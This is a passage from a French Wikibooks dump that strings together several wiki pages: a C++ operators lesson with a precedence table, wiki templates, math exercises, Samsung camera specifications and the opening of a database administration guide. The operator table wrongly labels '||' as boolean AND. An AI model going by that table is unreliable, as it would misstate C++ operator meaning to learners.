:''' ''condition1 || condition2'' *'''Sémantique''' Le OU logique est vrai si au moins une des 2 conditions ''condition1'' ou ''condition2'' est vraie. Il est faux dans le cas contraire. ===Le NON logique=== *'''Syntaxe :'''<br/> ''!(condition)'' *'''Sémantique : '''<br/> Le NON logique inverse la valeur de ''condition'': si ''condition'' vaut true le résultat vaut false. Si ''condition'' vaut false le résultat vaut true. ===Exemples d'utilisation des opérateurs booléens=== <pre> bool b; int u=18; b=!( (u>20 || (u<0))); </pre> b vaut ''true''. ==Affectation avec opérateur== Il existe tout une gamme d'opérateurs permettant d'effectuer une opération (une addition par exemple) avec le contenu d'une variable et de mettre le résultat dans cette même variable. Ainsi il sera plus pratique d'écrire ''b+=a;'' que d'écrire ''b=b+a;'' ====L'opérateur += ==== *'''Syntaxe''' ''identificateur+=expression'' *'''Sémantique''' Cet opérateur ajoute à la variable ''identificateur'' la valeur de ''expression'' et stocke le résultat dans la variable identificateur. *'''Exemple''' <pre> #include <iostream> using namespace std; int main(int argc, char *argv[]) { int a=80; int b=70; b+=a; cout<<"La valeur de b est : "<<b<<endl; return 0; } </pre> '''Exécution''' La valeur de b est 150 ====Autres opérateurs==== Sur le même modèle, on peut utiliser les opérateurs suivants : '''-=''', '''*=''', '''/=''', '''%=''', '''>>=''','''<<=''', '''&=''', '''|=''' et '''^='''. == La liste complète des opérateurs du C++== La liste ci-dessous présente les différents opérateurs du C++ avec leur priorité et leur associativité. Les opérateurs situés dans le même bloc ont la même priorité. {|class="wikitable" |- |Opérateurs |Description |Associativité |- |<code>()</code><br> <code>[]</code><br> <code>.</code><br> <code>-&gt;</code> |Parenthèses <br> Tableau<br> Sélection d'un champs par un identificateur (structures) <br> Sélection d'un champs par un pointeur (structures) |valign="top"|de gauche à droite |- |<code>++</code> <code>--</code><br> <code>+</code> <code>-</code><br> <code>!</code> &nbsp;&nbsp;&nbsp;&nbsp; <code>~</code><br> <code>(''type'')</code><br> <code>*</code><br> <code>&</code><br> <code>sizeof</code> |Incrémentation post ou pré-fixée<br> Opérateur moins unaire<br> Non logique et NON logique bit à bit<br> cast<br> Déréférencement<br> Référencement (adresse d'une variable)<br> Taille |valign="top"|de droite à gauche |- |<code>*</code> <code>/</code> <code>%</code> |Multiplication, division, et modulo (reste d'une division) |valign="top" rowspan="10"|de gauche à droite |- |<code>+</code> <code>-</code> |Addition et soustraction |- |<code>&lt;&lt;</code> <code>&gt;&gt;</code> |Décalage bit à bit vers la droite ou vers la gauche |- |<code>&lt;</code> <code>&lt;=</code><br> <code>&gt;</code> <code>&gt;=</code> |Comparaison &ldquo; inférieur strictement&rdquo; et &ldquo; inférieur ou égal &rdquo;<br> Comparaison &ldquo; supérieur strictement à &rdquo; et &ldquo; supérieur ou égal à &rdquo; |- |<code>==</code> <code>!=</code> |Condition &ldquo; égal &rdquo; et &ldquo; différent &rdquo; |- |<code>&amp;</code> |ET logique bit à bit |- |<code>^</code> |OU exclusif bit à bit |- |<code><nowiki>|</nowiki></code> | OU logique bit à bit |- |<code>&amp;&amp;</code> |ET logique booléen |- |<code><nowiki>||</nowiki></code> |ET logique booléen |- |<code>''c''?''t'':''f''</code> |Opérateur ternaire de condition |valign="top" rowspan="2"|de droite à gauche |- |<code>=</code><br> <code>+=</code> <code>-=</code><br> <code>*=</code> <code>/=</code> <code>%=</code><br> <code>&lt;&lt;=</code> <code>&gt;&gt;=</code><br> <code>&amp;=</code> <code>^=</code> <code><nowiki>|</nowiki>=</code> |Affectation<br> Affectation avec somme ou soustraction<br> Affectation avec multiplication, division ou modulo<br> Affectation avec décalage bit à bit<br> Affectation avec ET logique, OU logique ou OU exclusif bit à bit |- |<code>,</code> |Virgule |de gauche à droite |} Modèle:Département Informatique 6935 39756 2006-04-06T22:26:49Z WikiC 1349 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikiversité:Département informatique|Département informatique]]''' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Département Informatique]] |- | bgcolor="white" | *<small>[[Wikiversité:Département informatique|Accueil]]</small> *<small>[[Département informatique/Diplomes|Les diplômes]]</small> *<small>[[Département informatique/Bibliothèque|La bibliothèque]]</small> *<small>[[Département informatique/Recherche|La Recherche]]</small> *<small>[[Département informatique/Partenaires|Les partenaires]]</small> *<small>[[Département informatique/Soutiens|Soutiens]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[w:Portail:Informatique|Portail informatique]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:D%C3%A9partement_Informatique&action=edit | Modifier ce modèle]</small> |} Département informatique/Bibliothèque 6936 35428 2006-03-02T08:09:37Z Merrheim 1032 __NOTOC__{{Département Informatique}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">La bibliothèque du département informatique de la [[Wikiversité]]</font> |- |} |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/BlibliothèqueContenu|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} {|width="70%" border="0" cellspacing="0" cellpadding="5" |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/Rayon_Programmation_Algo|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} {|width="70%" border="0" cellspacing="0" cellpadding="5" |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/Rayon_BD|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} {|width="70%" border="0" cellspacing="0" cellpadding="5" |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/Rayon_Developpement_Web|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} {|width="70%" border="0" cellspacing="0" cellpadding="5" |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/Rayon_Architecture_Système_Réseaux|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} {|width="70%" border="0" cellspacing="0" cellpadding="5" |- bgcolor="lightyellow" valign="top" | {{Sous section|nom=Département informatique/Rayon_Divers|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |} Département informatique/Diplomes 6937 44208 2006-06-09T09:02:02Z Adil 1627 /* Diplômes */ {{Département Informatique}} == Diplômes == Le premier diplôme de notre Université sera la [[Wikilicence_informatique|wikilicence d'informatique ]]. Son obtention nécessite 3 années d'études à temps plein. <br/> '''Attention ce diplôme n'est actuellement reconnu par aucun organisme ''' Département informatique/Recherche 6938 32071 2006-02-08T14:02:07Z Merrheim 1032 /* La recherche */ {{Département Informatique}} ==La recherche== Le département informatique est soucieux d'instaurer un lien avec la recherche en informatique sous toutes ses formes. Dans un premier temps, nous recherchons des chercheurs en tout genre acceptant de présenter leur travaux dans un langage accessible en une page ou deux. N'hésitez pas à laisser un message dans la partie discussion. Département informatique/Partenaires 6939 39754 2006-04-06T22:26:01Z WikiC 1349 [[Département informatique/Partnaires]] déplacé vers [[Département informatique/Partenaires]]: ortho {{Département Informatique}} ==Les partenaires== Le département informatique est soucieux d'avoir des contacts avec des entreprises privées notamment pour présenter à nos étudiants les besoins et les attentes des entreprises embauchant de informaticiens. N'hésitez pas non plus à collaborer au programme de notre licence. Produit scalaire (E-M) 6940 32151 2006-02-09T10:11:56Z HB 15 /* Produit scalaire niveau MP */ ortho {{ExoMath}} Le [[w:produit scalaire|produit scalaire]] associe à deux vecteurs d'un [[w: espace vectoriel|espace vectoriel]] un [[w: scalaire|scalaire]] en vérifiant un certain nombre de propriétés de linéarité et de symétrie (voir [[w:produit scalaire|produit scalaire]]) == Produit scalaire niveau lycée == ''...à faire...'' == Produit scalaire niveau MP == *<math>\star</math>Considérons l'espace vectoriel <math>E=\mathbb R[X]</math>. #Montrer que l'application <math>E\times E \longrightarrow \mathbb R,\ (P,Q)\longmapsto (P|Q)=\int_{-1}^{1} {{\tilde P(t)\,\tilde Q(t)}\over{\sqrt{1-t^2}}}\,dt</math> est un produit scalaire sur <math>E</math>. <math>E</math> est alors l'espace vectoriel préhilbertien réel <math>(\mathbb R[X],(.|.))</math>. Considérons la famille <math>(T_n)_{n\in\mathbb N}</math> d'éléments de E vérifiant <math>\forall n\in\mathbb N,\forall \theta \in \mathbb R,\,T_n(cos\,\theta)=cos(n\,\theta)</math> (les polynômes de Tchebytchev de première espèce). #Montrer que la famille <math>(T_n)_{n\in\mathbb N}</math> est orthogonale. Calculer la norme de chaque élément. *<math>\star</math>Considérons l'espace vectoriel <math>E=\mathrm M_n (\mathbb K)</math>. #Montrer que l'application <math>E\times E \longrightarrow \mathbb R,\ (M,N)\longmapsto (M|N)=Tr({}^t\!M\,N)</math> est un produit scalaire sur <math>E</math>. <math>E</math> est alors l'espace vectoriel préhilbertien <math>(\mathrm M_n (\mathbb K),(.|.))</math>.Soit <math>P\in\mathrm{GL}_n(\mathbb K)</math>. Soit <math>u</math> l'endomorphisme de E défini par <math>\forall M\in E, u(M)=P^{-1}\,M\,P</math>. #Quel est l'adjoint de <math>u</math> ? [[Catégorie: Exercices de mathématiques]] Catégorie:Exercices de mathématiques 6941 32142 2006-02-09T09:57:38Z HB 15 création catégorie du wikibook exercices de mathématiques Cette catégorie regroupe tous les articles du wikibook [[Exercices de mathématiques]] [[Catégorie:Mathématiques]] Forme bilinéaire (E-M) 6942 32147 2006-02-09T10:04:13Z HB 15 déplacement des exercices de Pdm de fr:wikipedia {{ExoMath}} == Forme bilinéaire - Niveau MP == *<math>\star\star\star\star</math>Soit <math>\mathbb K</math> un corps de caractéristique nulle. Soit E un <math>\mathbb K</math>-espace vectoriel de dimension finie. Soit <math>\varphi</math> une forme bilinéaire sur E telle que <math>\forall (x,y)\in E^2,\, (\varphi(x,y)=0\Longrightarrow \varphi(y,x)=0)</math>. Montrer que <math>\varphi</math> est soit symétrique soit antisymétrique. ''Indication'': distinguer les cas <math>\varphi</math> non dégénérée et <math>\varphi</math> dégénérée. [[Catégorie:Exercices de mathématiques]] Intégrale impropre (E-M) 6943 42906 2006-05-20T20:13:49Z 196.206.16.231 a toi de vérifier {{ExoMath}} Pour simplifier, une [[w:intégrale impropre|intégrale impropre]] est l'intégrale sur ]a , b[ d'une fonction dont la primitive n'est pas définie en ''a'' ou en ''b'' *<math>\star\star</math>Pour quelles valeurs des paramètres réels <math>\alpha</math> et <math>\beta</math>, l'intégrale suivante existe-t-elle ? <math>\int_e^{+\infty} {dt \over t^\alpha\,(\ln t)^\beta}</math> (intégrale de Bertrand). [[Catégorie:Exercices de mathématiques]] solution pour <math>\alpha</math> >1 et <math>\beta</math> quelconque, ou <math>\alpha</math> =1 et <math>\beta</math> >1 Modèle:Photo 01 6944 32161 2006-02-09T10:46:38Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 01 - Un peu de mathématiques'''</center> * [[Photographie - 01 - Puissances et racines des nombres|Puissances et racines des nombres]] * [[Photographie - 01 - Progressions arithmétiques et géométriques|Progressions arithmétiques et géométriques]] * [[Photographie - 01 - Découverte des logarithmes|Découverte des logarithmes]] * [[Photographie - 01 - Que fait-on avec les logarithmes ?|Que fait-on avec les logarithmes ?]] |- |} <br> Wikilivres:Comment créer un modèle 6945 44821 2006-06-17T11:20:32Z Nicombo 684 La manière la plus simple est de créer, là où le modèle doit être inséré, un lien rouge contenant le titre du modèle et de l'entourer de doubles accolades : <nowiki>{{futur modèle}}</nowiki> ce qui donne {{futur modèle}} En cliquant sur ce lien on ouvre un modèle vide qu'il suffit de remplir. ==Voir aussi== *[[Wikilivres:Modèles]] Modèle:Photo 02 6946 32166 2006-02-09T10:58:25Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 02 - Rappels de physique et de chimie'''</center> * [[Photographie - 02 - Constitution de la matière|Constitution de la matière]] * [[Photographie - 02 - Notions fondamentales de chimie|Notions fondamentales de chimie]] * [[Photographie - 02 - Éléments chimiques|Éléments chimiques]] * [[Photographie - 02 - Classification périodique des éléments|Classification périodique des éléments]] * [[Photographie - 02 - Liaisons chimiques|Liaisons chimiques]] * [[Photographie - 02 - L'état dissous|L'état dissous]] * [[Photographie - 02 - L'état cristallisé|L'état cristallisé]] * [[Photographie - 02 - Chaleur, température, zéro absolu|Chaleur, température, zéro absolu]] |- |} <br> Photographie - 40 - Samsung 6947 43930 2006-06-06T00:13:11Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} La société coréenne Samsung est en 2006 le principal fabricant d'écrans de visualisation pour appareils numériques. Elle fabrique également des composants électroniques et des cartes-mémoire. [[Photographie - 40 - Asahi Pentax|Asahi Pentax]] et Samsung ont conclu un accord de coopération le 12 octobre 2005 pour développer ensemble une gamme d'appareils réflex numériques. == Disques durs == Le nouvel ordinateur portable de Samsung, présenté lors du salon technologique CeBIT à Hanovre en Allemagne, le 8 mars 2006, comporte désormais un « disque » à circuits intégrés (CI) Nand flash de 32 Go de 32 Go. Ce disque de Samsung utilise une technique de lecture instantanée et sans pièces mobiles. Cette alternative intéressante permet l’enregistrement silencieux et plus rapide des données, avec une consommation d'énergie qui ne dépasse pas 5 % des besoins des disques durs rotatifs classiques. == Appareils numériques compacts == === Samsung Digimax L 85 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>Compact haut de gamme •&nbsp;<font color=grey>Capteur : </font>8 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom Schneider-Kreuznach 7,8-39 f/2,8-4,4 •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-190 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>classiques P, A, S, M et 12 modes scènes •&nbsp;<font color=grey>Mise au point : </font>mini 80 cm - 1 cm en mode super macro •&nbsp;<font color=grey>Obturateur : </font>de 15 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>multizone ou spot •&nbsp;<font color=grey>Correction d'exposition : </font>+/- 2 IL par paliers de 0,5 IL •&nbsp;<font color=grey>Sensibilité du capteur : </font>de 50 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>110x64x29 mm •&nbsp;<font color=grey>Poids : </font>190 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>500 € •&nbsp;<font color=grey>Remarques : </font>vidéos en 640x480 |- |} === Samsung Digimax L 60 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>6 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 5,6-17,4 f/2,8-4,9 •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL 6,1 cm •&nbsp;<font color=grey>Modes : </font>11 modes scène •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 1 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>de 50 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>94x52x20xmm •&nbsp;<font color=grey>Poids : </font>150 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>280 € •&nbsp;<font color=grey>Remarques : </font>disponible en coloris argent, noir et rouge |- |} === Samsung Digimax S 500 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>5 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 5,85-17,4 f/2,8-4,9 •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL 6,1 cm 112.000 pixels •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>de 50 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>97x62x33 mm •&nbsp;<font color=grey>Poids : </font>150 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>170 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Samsung Digimax S 600 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>6 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 5,85-17,4 f/2,8-4,9 •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL 6,1 cm 112.000 pixels •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>de 50 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>97x62x27 mm •&nbsp;<font color=grey>Poids : </font>140 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>200 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Samsung Digimax S 800 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>8 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 5,85-17,4 f/2,8-4,9 •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL 6,1 cm 112.000 pixels •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>de 50 à 400 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>99x62x27 mm •&nbsp;<font color=grey>Poids : </font>170 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>270 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} == Appareils numériques réflex == === GX-1S (2006) === Cet appareil est identique au Pentax *istDS2 {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Commons-logo.svg|120px|center]] photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' <br> ''Format de capteur :'' <br> ''Types de cartes-mémoire :'' <br> ''Objectifs :'' <br> ''Monture des objectifs :'' <br> ''Diaphragme :'' <br> ''Présélection du diaphragme :'' <br> ''Viseur :'' réflex à prisme en verre x 0,95 <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' autofocus à 11 zones <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film / capteur :'' <br> ''Mémorisation de la mesure :'' <br> ''Retardateur :'' <br> ''Correction d'exposition :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Touche de profondeur de champ :'' <br> ''Contrôle de piles :'' <br> ''Alimentation :'' <br> ''Interrupteur principal :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' <br> ''Remarques :'' |- |} Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires 6949 33339 2006-02-18T23:07:45Z Jean-Jacques MILAN 114 [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils argentiques|appareils argentiques]] [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils numériques|appareils numériques]] [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Objectifs|objectifs]] Modèle:Photo 40 6950 44297 2006-06-11T05:36:07Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 40 - Fabricants de matériels''' <br/> <font color=red>'''N'hésitez pas à compléter les descriptions des appareils !'''</font></center> * [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires|questionnaires à recopier]] <small>| [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils argentiques|appareils argentiques]] | <small>appareils compacts numériques [http://fr.wikibooks.org/w/index.php?title=Photographie_-_40_-_Questionnaire_appareil_compact_numérique&action=edit] | <small>appareils réflex numériques [http://fr.wikibooks.org/w/index.php?title=Photographie_-_40_-_Questionnaire_appareil_réflex_numérique&action=edit] <small>[[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Objectifs|objectifs]] |</small> ---- * [[Photographie - Chapitre 40 - Fabricants_de_matériels#Agrandisseurs|agrandisseurs]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Appareils et chambres photographiques argentiques classiques|appareils et chambres photographiques classiques]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Appareils et chambres pour la photographie « instantanée »|appareils et chambres pour la photographie « instantanée »]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Appareils et chambres photographiques argentiques spéciaux et miniaturisés|appareils et chambres photographiques argentiques spéciaux et miniaturisés]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Appareils et chambres photographiques numériques|appareils et chambres photographiques numériques]] * [[Photographie - Chapitre 40 - Fabricants de matériel#Capteurs pour appareils numériques|capteurs pour appareils numériques]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Flashes|flashes]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Matériel de classement et d'archivage|matériel de classement et d'archivage]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Objectifs|objectifs]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Papiers photographiques|papiers photographiques]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Pellicules et plaques|pellicules et plaques]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Posemètres|posemètres]] * [[Photographie - Chapitre 40 - Fabricants de_matériels#Vidéoprojecteurs|vidéoprojecteurs]] ---- * [[Photographie - Chapitre 40 - Fabricants de_matériels#Marques, modèles, etc. par ordre alphabétique|marques, modèles, etc. par ordre alphabétique]] |- |} <br> Découverte de MySQL, PostgreSQL et Oracle 6953 42636 2006-05-17T13:46:50Z Dany11 1537 /* PostgreSQL */ __NOTOC__ = Résumé = Ce document explique aux administrateurs de bases de données les différents aspects à cerner lors de l'administration d'une base de données inconnue. Ce document est aussi utile aux administrateurs qui ne connaissent qu'un des logiciels présentés, afin de connaître les commandes équivalentes. Nous avons étudié MySQL 5.1, PostgreSQL 8.1 et Oracle 10g installés sur une [[w:Debian|Debian]] Etch. À charge à la communauté de mettre à jour notre documentation et/ou d'expliquer ceci pour d'autres systèmes d'exploitations. = Remerciements = Nous remercions l'[[w:ISIMA|ISIMA]] pour nous avoir proposé d'écrire un document sur ce sujet. Nous remercions également Wikibooks pour l'hébergement de notre document. __TOC__ = Introduction = Il nous a été demandé de réaliser un rapport sur l'audit d'une base de données en entreprise. Nous avons décidé d'étudier trois logiciels de base de données : * [[w:MySQL|MySQL]] 5.1, base de données libre très utilisée par les hébergeurs web pour ses bonnes performances et dont la version 5 comble les principaux manques (trigger, procédures stockées...). MySQL a la particularité de fournir plusieurs moteurs de bases de données (InnoDB, MyIsam, Berkeley DB...), qui ne fournissent pas les mêmes fonctionnalités ni les mêmes performances, afin de s'adapter au besoin. Par exemple, le moteur ARCHIVE est optimisé pour stocker et fournir des informations, mais il n'est pas possible de mettre à jour une ligne dans une table. * [[w:Postgresql|PostgreSQL]] 8.1 est la base de données qui offre le plus de fonctionnalités en logiciel libre. * [[w:Oracle (base de données)|Oracle]] 10g car il est étudié en cours. La montée des [[w:Logiciel_libre|logiciels libres]] dans le gouvernement et les entreprises, notamment autour des bases de données a fait que nous nous sommes intéressés à MySQL et PostgreSQL. = Conseils préliminaires = Voici quelques conseils qui permettent de gagner du temps lors de la découverte et la maintenance d'une base de données : # Demander s'il y a une fiche technique du serveur sur un partage de fichiers ou sur un wiki. # Interroger les personnes qui travaillent sur ce serveur pour savoir s'il y a des recommandations en plus par rapport à la documentation au cas où elle ne serait pas à jour. # Créer ou mettre à jour la documentation du serveur. # Lire la documentation officielle de la base de données et regarder les commentaires : ::* {{fr}} [http://dev.mysql.com/doc/refman/5.0/fr/ MySQL 5.0] | 